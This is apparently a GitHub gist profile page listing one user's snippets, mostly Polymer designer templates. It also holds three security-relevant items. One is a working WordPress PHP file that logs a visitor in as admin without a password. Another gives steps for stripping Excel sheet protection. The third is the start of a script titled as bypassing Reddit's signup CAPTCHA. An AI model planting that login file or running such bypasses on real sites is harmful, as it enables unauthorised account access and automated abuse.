Skip to content

Instantly share code, notes, and snippets.

View alexlevy0's full-sized avatar
🎯
顺其自然

Alex Lévy alexlevy0

🎯
顺其自然
View GitHub Profile
<link rel="import" href="../polymer/polymer.html">
<polymer-element name="my-element">
<template>
<style>
:host {
position: absolute;
width: 100%;
height: 100%;
@alexlevy0
alexlevy0 / designer.html
Last active August 29, 2015 14:22
designer
<link rel="import" href="../core-animated-pages/core-animated-pages.html">
<link rel="import" href="../core-animated-pages/transitions/hero-transition.html">
<link rel="import" href="../core-animated-pages/transitions/cross-fade.html">
<link rel="import" href="../core-animated-pages/transitions/slide-down.html">
<link rel="import" href="../core-animated-pages/transitions/slide-up.html">
<link rel="import" href="../core-animated-pages/transitions/tile-cascade.html">
<polymer-element name="my-element">
<template>
@alexlevy0
alexlevy0 / designer.html
Last active August 29, 2015 14:22
designer
<link rel="import" href="../polymer/polymer.html">
<polymer-element name="my-element">
<template>
<style>
:host {
position: absolute;
width: 100%;
height: 100%;
@alexlevy0
alexlevy0 / designer.html
Last active August 29, 2015 14:22
designer
<link rel="import" href="../core-scaffold/core-scaffold.html">
<link rel="import" href="../core-header-panel/core-header-panel.html">
<link rel="import" href="../core-menu/core-menu.html">
<link rel="import" href="../core-item/core-item.html">
<link rel="import" href="../core-icon-button/core-icon-button.html">
<link rel="import" href="../core-toolbar/core-toolbar.html">
<link rel="import" href="../core-menu/core-submenu.html">
<link rel="import" href="../google-map/google-map.html">
<polymer-element name="my-element">
@alexlevy0
alexlevy0 / Ionic Elastichat.markdown
Created September 2, 2015 16:33
Ionic Elastichat
@alexlevy0
alexlevy0 / Remix Challenge.markdown
Created October 24, 2015 19:35
Remix Challenge
@alexlevy0
alexlevy0 / Alternative_Excel_Unlock
Created April 16, 2020 12:48 — forked from vaderj/Alternative_Excel_Unlock
#VBA Two methods of unlocking a locked excel sheet:VBA macro for Excel that should unprotect a password protected sheet,Opening the spreadsheet as XML and removing the specific piece
Step 1. Make a copy of the spreadsheet in an empty directory. Rename the extension to .zip
Step 2. Extract the zip file.
Step 3. In the extracted contents, goto the folder \xl\worksheets\
Step 4. There should be one xml file per sheet? I editing "sheet1.xml" with NotePad++. From nearly the very end of the file, remove the tag that starts with:
<sheetProtection
My entire tag was as follows:
<sheetProtection algorithmName="SHA-512" hashValue="ALciNBSIqRcjDiFbCuyWoGk4iOcC/ZRKnEjwEVi1skb6G5JbHhp+QVZ9+rlPVbGILOS7lYiCvJmR4Q7IuSphXA==" saltValue="8OVKXrG0VacLOLVztUpEYw==" spinCount="100000" sheet="1" objects="1" scenarios="1" selectLockedCells="1"/>
Step 5. Save the file. Open the ZIP file in 7zip, find the same file, drag and drop, save, exit, rename the file back to (xlsx) and open
@alexlevy0
alexlevy0 / brute_login.php
Created July 22, 2020 13:33 — forked from Markcial/brute_login.php
Hack into a wordpress with the admin profile when you have physical acces to the wordpress files.
<?php
require('wp-blog-header.php');
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
wp_safe_redirect( admin_url( 'profile.php' ) );
?>
@alexlevy0
alexlevy0 / airplanes.markdown
Created December 24, 2020 21:08
Airplanes.
@alexlevy0
alexlevy0 / reddit-signup.js
Created January 24, 2021 14:34
Bypassing CAPTCHAs with Headless Chrome
const puppeteer = require('puppeteer');
const request = require('request-promise-native');
const poll = require('promise-poller').default;
const siteDetails = {
sitekey: '6LeTnxkTAAAAAN9QEuDZRpn90WwKk_R1TRW_g-JC',
pageurl: 'https://old.reddit.com/login'
}
const getUsername = require('./get-username');